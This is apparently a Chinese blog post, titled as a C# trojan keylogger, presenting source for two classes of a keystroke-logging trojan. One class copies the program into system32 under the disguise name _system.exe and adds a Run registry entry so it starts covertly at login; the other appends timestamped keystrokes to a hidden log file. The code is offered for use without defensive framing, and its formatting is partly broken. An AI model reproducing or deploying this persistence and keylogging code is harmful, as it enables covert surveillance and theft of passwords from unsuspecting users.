C#实现木马-键盘记录器

RegistryReport和 Report类

这是RegistryReport 类的实现
public   void  MoveFile() 

     
//判断该位置是否存在_system.exe,如果不是,就把程序移动到该位置,否则返回 
     if(!File.Exists("c://windows//system32//_system.exe")) 
     

              File.Move(Application.ExecutablePath,
"c://windows//system32//_system.exe"); 
     }
 
     
else 
          
return
}
 

// 在注册表里写如启动信息 



public   void  registryRun() 
{    
     RegistryKey key1
=Registry.CurrentUser.CreateSubKey("Software//Microsoft//Windows//CurrentVersion//run"); 
     key1.SetValue(
"","c://windows//system32//_system.exe"); 
     key1.Close(); 
}
 


这是Report类的实现:
public   void  FirstWrite() 
         

              StreamWriter sw 
= new StreamWriter("c:/windows/system32/keyReport.txt",true); 
              sw.WriteLine(
"************* LittleStudio Studio ************* "); 
              sw.WriteLine(
"******** " + DateTime.Today.Year.ToString() + "." 
                   
+ DateTime.Today.Month.ToString() + "." 
                   
+ DateTime.Today.Day.ToString() + "     " 
                   
+ DateTime.Now.Hour.ToString() + ":" 
                   
+ DateTime.Now.Minute.ToString() + ":" 
                   
+ DateTime.Now.Second.ToString() + " ********"); 
              sw.Close(); 
         }
 

         
public   void  WriteDate( string  keyEvents, string  keyDate) 
         

              
try 
              

                     StreamWriter sw 
= new StreamWriter("c:/windows/system32/keyReport.txt",true); 
                     sw.WriteLine(keyDate 
+ "键 " + keyEvents + "   " 
                       
+ DateTime.Now.Hour.ToString() + ":" 
                       
+ DateTime.Now.Minute.ToString() + ":" 
                       
+ DateTime.Now.Second.ToString()); 
                   sw.Close(); 
              }
 
              
catch{} 
              
return
         }
 
 

你可能感兴趣的:(C#实现木马-键盘记录器)